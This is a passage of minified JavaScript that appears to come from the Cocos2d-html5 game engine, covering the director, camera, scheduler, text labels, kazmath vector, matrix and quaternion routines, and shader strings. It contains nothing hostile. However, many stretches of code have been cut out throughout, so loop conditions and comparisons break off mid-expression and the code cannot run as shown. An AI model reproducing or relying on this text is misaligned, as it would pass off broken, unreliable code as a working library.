n3:function(a){this.nr=a},Xba:function(){return this.VC},fda:function(){return this.Pr},hda:function(){return this.lc},rca:function(){return this.Nw},rga:function(){this.u2(1)},u2:function(a){b.assert(this.ad,b.e.NQ);var c=this.ti,d=c.length;if(0==d)this.end();else if(!(a>d)){for(;d>a;){var e=c.pop();e.running&&(e.dg(),e.vb());e.Pe();d--}this.ji=c[c.length-1];this.Ik=!1}},Yk:function(){return this.Vf},uP:function(a){this.Vf!=a&&(this.Vf=a)},mx:function(){return this.xg},YO:function(a){this.xg!=a&& (this.xg=a)},vaa:function(){return this.ok},Nn:null,WU:function(){this.VC=(Date.now()-this.Bk)/1E3}});b.Xa.ZQ="director_projection_changed";b.Xa.WQ="director_after_draw";b.Xa.YQ="director_after_visit";b.Xa.XQ="director_after_update";b.QQ=b.Xa.extend({Lx:!1,FP:function(){this.Pr=!0;this.Lx=!1},oO:function(){this.nw?(this.nw=!1,this.A2()):this.Lx||this.UZ()},HP:function(){this.Lx=!0},ZO:function(a){this.$q=a;this.Lx||(this.HP(),this.FP())}});b.Xa.wG=null;b.Xa.VM=!0; b.Xa.HB=function(){b.Xa.VM&&(b.Xa.VM=!1,b.Xa.wG=new b.QQ,b.Xa.wG.G());return b.Xa.wG};b.HZ=60;b.Xa.sS=0;b.Xa.yH=1;b.Xa.tS=3;b.Xa.uS=b.Xa.yH; b.A===b.Ea?(n=b.Xa.prototype,n.$m=function(a){this.qi=a;b.sa.dispatchEvent(this.Fv)},n.aP=function(){},n.jG=function(a){this.R.width=b.Za.width;this.R.height=b.Za.height;this.qh=a||b.view;b.sa&&b.sa.ve(!0)},n.nk=function(){var a=this.qh.se;b.k.clearRect(-a.x,a.y,a.width,-a.height)},n.Nn=function(){var a=0,a=this.R.width>this.R.height?0|this.R.height/320*24:0|this.R.width/320*24;this.Gf=b.W.create("000.0","Arial",a);this.Hf=b.W.create("0.000","Arial",a);this.Lf=b.W.create("0000","Arial",a);a=b.bz; this.Lf.P(this.Lf.width/2+a.x,5*this.Lf.height/2+a.y);this.Hf.P(this.Hf.width/2+a.x,3*this.Hf.height/2+a.y);this.Gf.P(this.Gf.width/2+a.x,this.Gf.height/2+a.y)},n.Vs=function(){return this.R},n.aF=function(){return N(0,0)}):(b.Xa.Zn=new Image,b.Ja(b.Xa.Zn,"load",function(){b.Xa.fK=!0}),b.Zn&&(b.Xa.Zn.src=b.Zn),b.assert("function"===typeof b.B.dz,b.e.Nc,"CCDirectorWebGL.js"),b.B.dz(),delete b.B.dz);b.Wp=b.ja.extend({rr:null,sr:null,tr:null,Hn:null,In:null,Jn:null,rs:null,ss:null,ts:null,lb:null,aw:null,ctor:function(){this.aw=new b.ca;this.restore()},description:function(){return"\x3cCCCamera | center \x3d("+this.Hn+","+this.In+","+this.Jn+")\x3e"},bP:function(a){this.lb=a},sF:function(){return this.lb},restore:function(){this.rr=this.sr=0;this.tr=b.Wp.Xs();this.rs=this.Hn=this.In=this.Jn=0;this.ss=1;this.ts=0;b.Qm(this.aw);this.lb=!1},jt:function(){if(this.lb){var a=new b.xb,c=new b.xb,d=new b.xb; b.np(a,this.rr,this.sr,this.tr);b.np(c,this.Hn,this.In,this.Jn);b.np(d,this.rs,this.ss,this.ts);b.$N(this.aw,a,c,d);this.lb=!1}b.lp(this.aw)},Vha:function(a,c,d){this.fP(a,c,d)},fP:function(a,c,d){this.rr=a;this.sr=c;this.tr=d;this.lb=!0},Eha:function(a,c,d){this.g3(a,c,d)},g3:function(a,c,d){this.Hn=a;this.In=c;this.Jn=d;this.lb=!0},uja:function(a,c,d){this.Z3(a,c,d)},Z3:function(a,c,d){this.rs=a;this.ss=c;this.ts=d;this.lb=!0},Laa:function(){return{x:this.rr,y:this.sr,z:this.tr}},gN:function(){return{x:this.rr, y:this.sr,z:this.tr}},iaa:function(){return{x:this.Hn,y:this.In,z:this.Jn}},bN:function(){return{x:this.Hn,y:this.In,z:this.Jn}},wca:function(){return{x:this.rs,y:this.ss,z:this.ts}},A0:function(){return{x:this.rs,y:this.ss,z:this.ts}},H7:function(){}});b.Wp.Xs=function(){return b.uu};b.R6=b.Au+1;b.Mo=function(a,c){if(a&&0=this.ej&&(c&&d&&this.qB(),this.mb=0):(this.Uw?this.mb>=this.uv&&(c&&d&&this.qB(),this.mb-=this.uv,this.Eo+=1,this.Uw=!1):this.mb>=this.ej&&(c&&d&&this.qB(),this.mb=0,this.Eo+=1),this.Eo>this.NC&&b.D.Yk().SP(c,d))}}}); b.Fq=b.ja.extend({qs:1,sm:null,cj:null,fv:null,bj:null,M7:null,Wc:null,di:!1,Ow:!1,ctor:function(){this.qs=1;this.sm=[[],[],[]];this.cj={};this.fv=[];this.bj={};this.ar=[];this.Wc=null;this.Ow=this.di=!1},MC:function(a){delete this.bj[a.target.xa];b.Oe(this.ar,a);a.eI=null;a.target=null},oL:function(a){if(a=this.cj[a.target.xa])b.Oe(a.list,a.Hm),delete this.cj[a.target.xa],b.Oe(this.fv,a),a.Hm=null,a.target=null},dL:function(a,c,d,e){e=new b.lH(c,d,e);if(a){for(var f=a.length-1,g=0;g<=f&&!(dc?e[0]=this.dL(e[0],a,c,d):e[2]=this.dL(e[2],a,c,d)}},SP:function(a,c){if(null!=a&&null!=c){var d=this.bj[a.xa];if(d)for(var e=d.Mi,f=0,g=e.length;f=f&&d.Mp--;0==e.length&&(this.Wc==d?this.di= !0:this.MC(d));break}}}},St:function(a){null!=a&&(a=this.cj[a.xa],null!=a&&(this.Ow?a.Hm.cy=!0:this.oL(a.Hm)))},RP:function(a){if(null!=a){var c=this.bj[a.xa];if(c){var d=c.Mi;!c.Ms&&0<=d.indexOf(c.Ls)&&(c.Ms=!0);d.length=0;this.Wc==c?this.di=!0:this.MC(c)}this.St(a)}},Py:function(){this.I4(b.Fq.Au)},I4:function(a){for(var c=this.ar,d=this.sm,e=0,f=c.length;ea.length)throw Error("Polygon's point must greater than 2");var f=a[0];c=this.k;var g=b.view.pa,h=b.view.Ta;c.beginPath();c.moveTo(f.x*g,-f.y*h);for(var f=1,k=a.length;f=f&&0c){-1!=g&&(d=!0);break}g=h;s=a.substr(h)}if(d)return g;s=a.substr(0,e);for(g=e;k=p.exec(s);)if(g=k[1].length,s=k[1],f=this.Nr(s),fc.x||0>c.y);a=this.Bh;this.Qb&&(a.x=-a.x);this.Rb&&(a.y=-a.y);this.Eb.x=a.x+(this.O.width-this.ha.width)/2;this.Eb.y= a.y+(this.O.height-this.ha.height)/2;this.X&&(this.dirty=!0)},n=null):(b.assert("function"===typeof b.B.DA,b.e.Nc,"LabelTTFWebGL.js"),b.B.DA(),delete b.B.DA);b.assert("function"===typeof b.B.Kz,b.e.Nc,"LabelTTFPropertyDefine.js");b.B.Kz();delete b.B.Kz;b.W.yY=["left","center","right"];b.W.zY=["top","middle","bottom"];b.W.bV=/(.+?)([\s\n\r\-\/\\\:]|[\u4E00-\u9FA5]|[\uFE30-\uFFA0])/;b.W.CX=/(.*)([\s\n\r\-\/\\\:]|[\u4E00-\u9FA5]|[\uFE30-\uFFA0])/;b.W.ZU=/[\s\-\/\\\:]/;b.W.FV=/^(\d+)px\s+['"]?([\w\s\d]+)['"]?$/; b.W.create=function(a,c,d,e,f,g){return new b.W(a,c,d,e,f,g)};b.W.EU=b.tU?b.Ti:b.Wz;b.W.ik=b.Ob("div");b.W.ik.style.fontFamily="Arial";b.W.ik.style.position="absolute";b.W.ik.style.left="-100px";b.W.ik.style.top="-100px";b.W.ik.style.lineHeight="normal";document.body?document.body.appendChild(b.W.ik):b.Ja(window,"load",function(){this.removeEventListener("load",arguments.callee,!1);document.body.appendChild(b.W.ik)},!1); b.W.Vq=function(a,c){var d=b.W.SI[a+"."+c];if(0=a&&c.wm--;0==c.Ac.length&&(this.Wc==c?this.di=!0:this.kB(c))},kB:function(a){a&&(delete this.lh[a.target.xa],b.Oe(this.zn,a),a.Ac=null,a.target=null)},HU:function(a){null==a.Ac&&(a.Ac=[])},update:function(a){for(var c=this.zn,d,e=0;ec?a:c};b.yda=function(a,c){return a+b.Aa>c&&a-b.Aac.x-b.Aa&&a.yc.y-b.Aa};b.xb=function(a,c,d){this.x=a||0;this.y=c||0;this.z=d||0};b.np=function(a,c,d,e){if(!a)return new b.xb(c,d,e);a.x=c;a.y=d;a.z=e;return a};b.hO=function(a){return Math.sqrt(b.Jc(a.x)+b.Jc(a.y)+b.Jc(a.z))};b.iO=function(a){return b.Jc(a.x)+b.Jc(a.y)+b.Jc(a.z)};b.yf=function(a,c){var d=1/b.hO(c);a.x=c.x*d;a.y=c.y*d;a.z=c.z*d};b.bl=function(a,c,d){a.x=c.y*d.z-c.z*d.y;a.y=c.z*d.x-c.x*d.z;a.z=c.x*d.y-c.y*d.x};b.BF=function(a,c){return a.x*c.x+a.y*c.y+a.z*c.z}; b.gO=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z};b.DF=function(a,c,d){a.x=c.x-d.x;a.y=c.y-d.y;a.z=c.z-d.z};b.Wea=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8]+d.c[12];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9]+d.c[13];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10]+d.c[14];return a};b.Xea=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10];return a}; b.jO=function(a,c,d){var e=new b.kO,f=new b.kO;b.N1(f,c.x,c.y,c.z);b.lO(e,f,d);a.x=e.x/e.H;a.y=e.y/e.H;a.z=e.z/e.H};b.CF=function(a,c,d){a.x=c.x*d;a.y=c.y*d;a.z=c.z*d;return a};b.Sea=function(a,c){return a.xc.x-b.Aa&&a.yc.y-b.Aa&&a.zc.z-b.Aa?1:0};b.Tea=function(a,c,d){c=new b.xb(c.x-d.c[12],c.y-d.c[13],c.z-d.c[14]);a.x=c.x*d.c[0]+c.y*d.c[1]+c.z*d.c[2];a.y=c.x*d.c[4]+c.y*d.c[5]+c.z*d.c[6];a.z=c.x*d.c[8]+c.y*d.c[9]+c.z*d.c[10];return a}; b.Uea=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[1]+c.z*d.c[2];a.y=c.x*d.c[4]+c.y*d.c[5]+c.z*d.c[6];a.z=c.x*d.c[8]+c.y*d.c[9]+c.z*d.c[10];return a};b.ft=function(a,c){a!=c&&(a.x=c.x,a.y=c.y,a.z=c.z)};b.Yea=function(a){a.x=0;a.y=0;a.z=0;return a};b.Vea=function(a){if(!a)return null;var c=new Float32Array(3);c[0]=a.x;c[1]=a.y;c[2]=a.z;return c};b.kO=function(){this.H=this.z=this.y=this.x=0};b.N1=function(a,c,d,e){a.x=c;a.y=d;a.z=e;a.H=1};b.Zea=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z;a.H=c.H+d.H;return a};b.bfa=function(a,c){return a.x*c.x+a.y*c.y+a.z*c.z+a.H*c.H};b.O1=function(a){return Math.sqrt(b.Jc(a.x)+b.Jc(a.y)+b.Jc(a.z)+b.Jc(a.H))};b.cfa=function(a){return b.Jc(a.x)+b.Jc(a.y)+b.Jc(a.z)+b.Jc(a.H)};b.dfa=function(a){return a};b.P1=function(a,c){var d=1/b.O1(c);a.x*=d;a.y*=d;a.z*=d;a.H*=d}; b.efa=function(a,c,d){b.P1(a,c);a.x*=d;a.y*=d;a.z*=d;a.H*=d;return a};b.ffa=function(a,c,d){a.x=c.x-d.x;a.y=c.y-d.y;a.z=c.z-d.z;a.H=c.H-d.H;return a};b.lO=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8]+c.H*d.c[12];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9]+c.H*d.c[13];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10]+c.H*d.c[14];a.H=c.x*d.c[3]+c.y*d.c[7]+c.z*d.c[11]+c.H*d.c[15]};b.hfa=function(a,c,d,e,f,g){for(var h=0;hc.x-b.Aa&&a.yc.y-b.Aa&&a.zc.z-b.Aa&&a.Hc.H-b.Aa};b.afa=function(a,c){if(a==c)return b.log("destVec and srcVec are same object"),a;a.x=c.x;a.y=c.y;a.z=c.z;a.H=c.H;return a};b.gfa=function(a){if(!a)return null;var c=new Float32Array(4);c[0]=a.x;c[1]=a.y;c[2]=a.z;c[3]=a.H;return c};b.Fea=function(a){this.start=a||new b.Oh;this.start=a||new b.Oh};b.Gea=function(a,c,d,e,f){a.start.x=c;a.start.y=d;a.dir.x=e;a.dir.y=f}; b.AF=function(a,c,d,e){var f=a.start.x,g=a.start.y,h=a.start.x+a.dir.x;a=a.start.y+a.dir.y;var k=c.x,m=c.y,p=d.x,r=d.y,s=(r-m)*(h-f)-(p-k)*(a-g);if(s>-b.Aa&&sb.Rx(c.x,d.x)+b.Aa||mb.Rx(c.y,d.y)+b.Aa||kb.Rx(f,h)+b.Aa||mb.Rx(g,a)+b.Aa)return b.pn;e.x=k;e.y=m;return b.qn}; b.lE=function(a,c,d){var e=new b.Oh;b.Vx(e,c,a);d.x=-e.y;d.y=e.x;b.M1(d,d)};b.Iea=function(a,c,d,e,f,g){var h=new b.Oh,k=new b.Oh,m=new b.Oh,p=1E4,r=b.pn,s;b.AF(a,c,d,h)&&(s=new b.Oh,r=b.qn,s=b.Ux(b.Vx(s,h,a.start)),sd;d++)a.c[d]=c;return a};b.y1=function(a,c){a.c[0]=c.c[4]*c.c[8]-c.c[5]*c.c[7];a.c[1]=c.c[2]*c.c[7]-c.c[1]*c.c[8];a.c[2]=c.c[1]*c.c[5]-c.c[2]*c.c[4];a.c[3]=c.c[5]*c.c[6]-c.c[3]*c.c[8];a.c[4]=c.c[0]*c.c[8]-c.c[2]*c.c[6];a.c[5]=c.c[2]*c.c[3]-c.c[0]*c.c[5];a.c[6]=c.c[3]*c.c[7]-c.c[4]*c.c[6];a.c[8]=c.c[0]*c.c[4]-c.c[1]*c.c[3]}; b.ZN=function(a){a.c[1]=a.c[2]=a.c[3]=a.c[5]=a.c[6]=a.c[7]=0;a.c[0]=a.c[4]=a.c[8]=1};b.Jda=function(a,c,d){var e=new b.Qx;if(0===c)return null;c=1/c;b.y1(e,d);b.z1(a,e,c);return a};b.Qx.PB=new Float32Array([1,0,0,0,1,0,0,0,1]);b.Kda=function(a){for(var c=0;9>c;c++)if(b.Qx.PB[c]!==a.c[c])return!1;return!0};b.Vda=function(a,c){var d,e;for(d=0;3>d;++d)for(e=0;3>e;++e)a.c[3*d+e]=c.c[3*e+d];return a}; b.Hda=function(a){var c;c=a.c[0]*a.c[4]*a.c[8]+a.c[1]*a.c[5]*a.c[6]+a.c[2]*a.c[3]*a.c[7];return c-=a.c[2]*a.c[4]*a.c[6]+a.c[0]*a.c[5]*a.c[7]+a.c[1]*a.c[3]*a.c[8]}; b.Lda=function(a,c,d){c=c.c;d=d.c;a.c[0]=c[0]*d[0]+c[3]*d[1]+c[6]*d[2];a.c[1]=c[1]*d[0]+c[4]*d[1]+c[7]*d[2];a.c[2]=c[2]*d[0]+c[5]*d[1]+c[8]*d[2];a.c[3]=c[0]*d[3]+c[3]*d[4]+c[6]*d[5];a.c[4]=c[1]*d[3]+c[4]*d[4]+c[7]*d[5];a.c[5]=c[2]*d[3]+c[5]*d[4]+c[8]*d[5];a.c[6]=c[0]*d[6]+c[3]*d[7]+c[6]*d[8];a.c[7]=c[1]*d[6]+c[4]*d[7]+c[7]*d[8];a.c[8]=c[2]*d[6]+c[5]*d[7]+c[8]*d[8];return a};b.z1=function(a,c,d){for(var e=0;9>e;e++)a.c[e]=c.c[e]*d}; b.Nda=function(a,c,d){var e=Math.cos(d);d=Math.sin(d);a.c[0]=e+c.x*c.x*(1-e);a.c[1]=c.z*d+c.y*c.x*(1-e);a.c[2]=-c.y*d+c.z*c.x*(1-e);a.c[3]=-c.z*d+c.x*c.y*(1-e);a.c[4]=e+c.y*c.y*(1-e);a.c[5]=c.x*d+c.z*c.y*(1-e);a.c[6]=c.y*d+c.x*c.z*(1-e);a.c[7]=-c.x*d+c.y*c.z*(1-e);a.c[8]=e+c.z*c.z*(1-e);return a};b.Gda=function(a,c){if(a==c)return b.log("cc.kmMat3Assign(): pOut equals pIn"),a;for(var d=0;9>d;d++)a.c[d]=c.c[d];return a}; b.Fda=function(a,c){if(a==c)return!0;for(var d=0;9>d;++d)if(!(a.c[d]+b.Aa>c.c[d]&&a.c[d]-b.Aad;d++){for(g=k=0;4>g;g++)if(1!=r[g])for(h=0;4>h;h++)0==r[h]&&Math.abs(b.ca.Of(a,g,h))>=k&&(k=Math.abs(b.ca.Of(a,g,h)),f=g,e=h);++r[e];if(f!=e){for(g=0;4>g;g++)b.ca.Qk(a,f,g,e,g);for(g=0;4>g;g++)b.ca.Qk(c,f,g,e,g)}p[d]=f;m[d]=e;if(0==b.ca.Of(a,e,e))return b.pn;h=1/b.ca.Of(a,e,e);b.ca.Jk(a,e,e,1);for(g=0;4>g;g++)b.ca.Jk(a,e,g,b.ca.Of(a,e,g)*h);for(g=0;4>g;g++)b.ca.Jk(c,e,g,b.ca.Of(c,e,g)*h);for(h=0;4>h;h++)if(h!= e){k=b.ca.Of(a,h,e);b.ca.Jk(a,h,e,0);for(g=0;4>g;g++)b.ca.Jk(a,h,g,b.ca.Of(a,h,g)-b.ca.Of(a,e,g)*k);for(g=0;4>g;g++)b.ca.Jk(c,h,g,b.ca.Of(a,h,g)-b.ca.Of(c,e,g)*k)}}for(g=3;0<=g;g--)if(p[g]!=m[g])for(h=0;4>h;h++)b.ca.Qk(a,h,p[g],h,m[g]);return b.qn};b.ca.PB=new Float32Array([1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1]);b.B1=function(a,c){var d=new b.ca,e=new b.ca;b.Dj(d,c);b.Qm(e);b.ca.HV(d,e)!=b.pn&&b.Dj(a,d)};b.bea=function(a){for(var c=0;16>c;c++)if(b.ca.PB[c]!=a.c[c])return!1;return!0}; b.jea=function(a,c){var d,e,f=a.c,g=c.c;for(e=0;4>e;++e)for(d=0;4>d;++d)f[4*e+d]=g[4*d+e];return a}; b.Ei=function(a,c,d){a=a.c;var e=c.c[0],f=c.c[1],g=c.c[2],h=c.c[3],k=c.c[4],m=c.c[5],p=c.c[6],r=c.c[7],s=c.c[8],u=c.c[9],t=c.c[10],v=c.c[11],w=c.c[12],y=c.c[13],B=c.c[14];c=c.c[15];var G=d.c[0],I=d.c[1],E=d.c[2],z=d.c[3],D=d.c[4],x=d.c[5],F=d.c[6],K=d.c[7],L=d.c[8],J=d.c[9],P=d.c[10],S=d.c[11],R=d.c[12],V=d.c[13],M=d.c[14];d=d.c[15];a[0]=G*e+I*k+E*s+z*w;a[1]=G*f+I*m+E*u+z*y;a[2]=G*g+I*p+E*t+z*B;a[3]=G*h+I*r+E*v+z*c;a[4]=D*e+x*k+F*s+K*w;a[5]=D*f+x*m+F*u+K*y;a[6]=D*g+x*p+F*t+K*B;a[7]=D*h+x*r+F*v+K* c;a[8]=L*e+J*k+P*s+S*w;a[9]=L*f+J*m+P*u+S*y;a[10]=L*g+J*p+P*t+S*B;a[11]=L*h+J*r+P*v+S*c;a[12]=R*e+V*k+M*s+d*w;a[13]=R*f+V*m+M*u+d*y;a[14]=R*g+V*p+M*t+d*B;a[15]=R*h+V*r+M*v+d*c}; b.a0=function(){var a=b.el.top.c,c=b.Gj.top.c,d=new Float32Array(16);d[0]=a[0]*c[0]+a[4]*c[1]+a[8]*c[2]+a[12]*c[3];d[1]=a[1]*c[0]+a[5]*c[1]+a[9]*c[2]+a[13]*c[3];d[2]=a[2]*c[0]+a[6]*c[1]+a[10]*c[2]+a[14]*c[3];d[3]=a[3]*c[0]+a[7]*c[1]+a[11]*c[2]+a[15]*c[3];d[4]=a[0]*c[4]+a[4]*c[5]+a[8]*c[6]+a[12]*c[7];d[5]=a[1]*c[4]+a[5]*c[5]+a[9]*c[6]+a[13]*c[7];d[6]=a[2]*c[4]+a[6]*c[5]+a[10]*c[6]+a[14]*c[7];d[7]=a[3]*c[4]+a[7]*c[5]+a[11]*c[6]+a[15]*c[7];d[8]=a[0]*c[8]+a[4]*c[9]+a[8]*c[10]+a[12]*c[11];d[9]=a[1]*c[8]+ a[5]*c[9]+a[9]*c[10]+a[13]*c[11];d[10]=a[2]*c[8]+a[6]*c[9]+a[10]*c[10]+a[14]*c[11];d[11]=a[3]*c[8]+a[7]*c[9]+a[11]*c[10]+a[15]*c[11];d[12]=a[0]*c[12]+a[4]*c[13]+a[8]*c[14]+a[12]*c[15];d[13]=a[1]*c[12]+a[5]*c[13]+a[9]*c[14]+a[13]*c[15];d[14]=a[2]*c[12]+a[6]*c[13]+a[10]*c[14]+a[14]*c[15];d[15]=a[3]*c[12]+a[7]*c[13]+a[11]*c[14]+a[15]*c[15];return d}; b.jba=function(a,c,d){a=a.c;c=c.c;var e=d.c;e[0]=a[0]*c[0]+a[4]*c[1]+a[8]*c[2]+a[12]*c[3];e[1]=a[1]*c[0]+a[5]*c[1]+a[9]*c[2]+a[13]*c[3];e[2]=a[2]*c[0]+a[6]*c[1]+a[10]*c[2]+a[14]*c[3];e[3]=a[3]*c[0]+a[7]*c[1]+a[11]*c[2]+a[15]*c[3];e[4]=a[0]*c[4]+a[4]*c[5]+a[8]*c[6]+a[12]*c[7];e[5]=a[1]*c[4]+a[5]*c[5]+a[9]*c[6]+a[13]*c[7];e[6]=a[2]*c[4]+a[6]*c[5]+a[10]*c[6]+a[14]*c[7];e[7]=a[3]*c[4]+a[7]*c[5]+a[11]*c[6]+a[15]*c[7];e[8]=a[0]*c[8]+a[4]*c[9]+a[8]*c[10]+a[12]*c[11];e[9]=a[1]*c[8]+a[5]*c[9]+a[9]*c[10]+a[13]* c[11];e[10]=a[2]*c[8]+a[6]*c[9]+a[10]*c[10]+a[14]*c[11];e[11]=a[3]*c[8]+a[7]*c[9]+a[11]*c[10]+a[15]*c[11];e[12]=a[0]*c[12]+a[4]*c[13]+a[8]*c[14]+a[12]*c[15];e[13]=a[1]*c[12]+a[5]*c[13]+a[9]*c[14]+a[13]*c[15];e[14]=a[2]*c[12]+a[6]*c[13]+a[10]*c[14]+a[14]*c[15];e[15]=a[3]*c[12]+a[7]*c[13]+a[11]*c[14]+a[15]*c[15];return d.c}; b.Dj=function(a,c){if(a==c)b.log("cc.kmMat4Assign(): pOut equals pIn");else{var d=a.c,e=c.c;d[0]=e[0];d[1]=e[1];d[2]=e[2];d[3]=e[3];d[4]=e[4];d[5]=e[5];d[6]=e[6];d[7]=e[7];d[8]=e[8];d[9]=e[9];d[10]=e[10];d[11]=e[11];d[12]=e[12];d[13]=e[13];d[14]=e[14];d[15]=e[15]}};b.Wda=function(a,c){if(a==c)return b.log("cc.kmMat4AreEqual(): pMat1 and pMat2 are same object."),!0;for(var d=0;16>d;d++)if(!(a.c[d]+b.Aa>c.c[d]&&a.c[d]-b.Aad?b.pS:b.rS};function ba(){this.H=this.z=this.y=this.x=0}b.I1=function(a,c){a.x=-c.x;a.y=-c.y;a.z=-c.z;a.H=c.H;return a};b.J1=function(a,c){return a.H*c.H+a.x*c.x+a.y*c.y+a.z*c.z};b.vea=function(a){return a};b.K1=function(a){a.x=0;a.y=0;a.z=0;a.H=1};b.wea=function(a,c){var d=b.bO(c),e=new ba;if(Math.abs(d)>b.Aa)return a.x=0,a.y=0,a.z=0,a.H=0,a;b.Tx(a,b.I1(e,c),1/d);return a};b.xea=function(a){return 0==a.x&&0==a.y&&0==a.z&&1==a.H};b.bO=function(a){return Math.sqrt(b.L1(a))}; b.L1=function(a){return a.x*a.x+a.y*a.y+a.z*a.z+a.H*a.H};b.yea=function(a){return a};b.zea=function(a,c,d){a.H=c.H*d.H-c.x*d.x-c.y*d.y-c.z*d.z;a.x=c.H*d.x+c.x*d.H+c.y*d.z-c.z*d.y;a.y=c.H*d.y+c.y*d.H+c.z*d.x-c.x*d.z;a.z=c.H*d.z+c.z*d.H+c.x*d.y-c.y*d.x;return a};b.cO=function(a,c){var d=b.bO(c);if(Math.abs(d)<=b.Aa)throw"cc.kmQuaternionNormalize(): pIn is an invalid value";b.Tx(a,c,1/d)};b.dO=function(a,c){var d=0.5*b.zF,e=Math.sin(d);a.H=Math.cos(d);a.x=c.x*e;a.y=c.y*e;a.z=c.z*e}; b.eO=function(a,c){var d,e,f,g;d=[];e=g=0;if(c){d[0]=c.c[0];d[1]=c.c[3];d[2]=c.c[6];d[4]=c.c[1];d[5]=c.c[4];d[6]=c.c[7];d[8]=c.c[2];d[9]=c.c[5];d[10]=c.c[8];d[15]=1;var h=d[0];e=h[0]+h[5]+h[10]+1;e>b.Aa?(g=2*Math.sqrt(e),d=(h[9]-h[6])/g,e=(h[2]-h[8])/g,f=(h[4]-h[1])/g,g*=0.25):h[0]>h[5]&&h[0]>h[10]?(g=2*Math.sqrt(1+h[0]-h[5]-h[10]),d=0.25*g,e=(h[4]+h[1])/g,f=(h[2]+h[8])/g,g=(h[9]-h[6])/g):h[5]>h[10]?(g=2*Math.sqrt(1+h[5]-h[0]-h[10]),d=(h[4]+h[1])/g,e=0.25*g,f=(h[9]+h[6])/g,g=(h[2]-h[8])/g):(g=2*Math.sqrt(1+ h[10]-h[0]-h[5]),d=(h[2]+h[8])/g,e=(h[9]+h[6])/g,f=0.25*g,g=(h[4]-h[1])/g);a.x=d;a.y=e;a.z=f;a.H=g}};b.Cea=function(a,c,d,e){var f,g,h,k,m;f=b.et(d)/2;g=b.et(c)/2;h=b.et(e)/2;e=Math.cos(f);c=Math.cos(g);d=Math.cos(h);f=Math.sin(f);g=Math.sin(g);h=Math.sin(h);k=c*d;m=g*h;a.H=e*k+f*m;a.x=f*k-e*m;a.y=e*g*d+f*c*h;a.z=e*c*h-f*g*d;b.cO(a,a);return a}; b.Dea=function(a,c,d,e){if(c.x==d.x&&c.y==d.y&&c.z==d.z&&c.H==d.H)return a.x=c.x,a.y=c.y,a.z=c.z,a.H=c.H,a;var f=b.J1(c,d),g=Math.acos(f),f=Math.sqrt(1-b.Jc(f)),h=Math.sin(e*g)/f,k=new ba,m=new ba;b.Tx(k,c,Math.sin((1-e)*g)/f);b.Tx(m,d,h);b.H1(a,k,m);return a};b.fO=function(a,c){var d;d=Math.sqrt(b.Jc(a.x)+b.Jc(a.y)+b.Jc(a.z));d>-b.Aa&&d2*b.zF-b.Aa?(c.x=0,c.y=0,c.z=1):(c.x=a.x/d,c.y=a.y/d,c.z=a.z/d,b.yf(c,c))};b.Tx=function(a,c,d){a.x=c.x*d;a.y=c.y*d;a.z=c.z*d;a.H=c.H*d}; b.uea=function(a,c){a.x=c.x;a.y=c.y;a.z=c.z;a.H=c.H;return a};b.H1=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z;a.H=c.H+d.H}; b.Bea=function(a,c,d,e){var f=new b.xb,g=new b.xb;b.ft(f,c);b.ft(g,d);b.yf(f,f);b.yf(g,g);d=b.BF(f,g);if(1<=d)return b.K1(a),a;-0.999999>d?Math.abs(b.iO(e))=c.min.x&&a.x<=c.max.x&&a.y>=c.min.y&&a.y<=c.max.y&&a.z>=c.min.z&&a.z<=c.max.z?b.qn:b.pn};b.vda=function(a,c){b.ft(a.min,c.min);b.ft(a.max,c.max);return a};b.xda=function(){b.log("cc.kmAABBScale hasn't been supported.")};b.Wx=function(a,c,d,e){this.top=d;this.stack=e};b.Wx.m6=30;b.EF=function(a){a.stack=[];a.top=null};b.Xx=function(a,c){a.stack.push(a.top);a.top=new b.ca;b.Dj(a.top,c)};b.ifa=function(a){a.top=a.stack.pop()};b.FF=function(a){a.stack=null;a.top=null};b.Qi=5888;b.Ri=5889;b.iH=5890;b.Gj=new b.Wx;b.el=new b.Wx;b.Nt=new b.Wx;b.Vb=null;b.oF=!1;b.R1=function(){if(!b.oF){var a=new b.ca;b.EF(b.Gj);b.EF(b.el);b.EF(b.Nt);b.Vb=b.Gj;b.oF=!0;b.Qm(a);b.Xx(b.Gj,a);b.Xx(b.el,a);b.Xx(b.Nt,a)}};b.R1();b.x1=function(){b.FF(b.Gj);b.FF(b.el);b.FF(b.Nt);b.oF=!1;b.Vb=null};b.Pm=function(){b.Xx(b.Vb,b.Vb.top)};b.Cda=function(a){b.Vb.stack.push(b.Vb.top);b.Dj(a,b.Vb.top);b.Vb.top=a};b.Om=function(){b.Vb.top=b.Vb.stack.pop()}; b.Di=function(a){switch(a){case b.Qi:b.Vb=b.Gj;break;case b.Ri:b.Vb=b.el;break;case b.iH:b.Vb=b.Nt;break;default:throw"Invalid matrix mode specified";}};b.kp=function(){b.Qm(b.Vb.top)};b.Bda=function(a){b.Dj(b.Vb.top,a)};b.lp=function(a){b.Ei(b.Vb.top,b.Vb.top,a)};b.mp=function(a,c){var d=new b.ca;b.aO(d,a,c,0);b.Ei(b.Vb.top,b.Vb.top,d)};b.Dda=function(a,c,d,e){c=new b.xb(c,d,e);d=new b.ca;b.D1(d,c,b.et(a));b.Ei(b.Vb.top,b.Vb.top,d)}; b.Eda=function(a,c,d){var e=new b.ca;b.E1(e,a,c,d);b.Ei(b.Vb.top,b.Vb.top,e)};b.Px=function(a,c){switch(a){case b.Qi:b.Dj(c,b.Gj.top);break;case b.Ri:b.Dj(c,b.el.top);break;case b.iH:b.Dj(c,b.Nt.top);break;default:throw"Invalid matrix mode specified";}};b.MS="precision lowp float;\nvarying vec4 v_fragmentColor;\nvoid main() \n{ \n gl_FragColor \x3d v_fragmentColor; \n}\n";b.NS="attribute vec4 a_position;\nuniform vec4 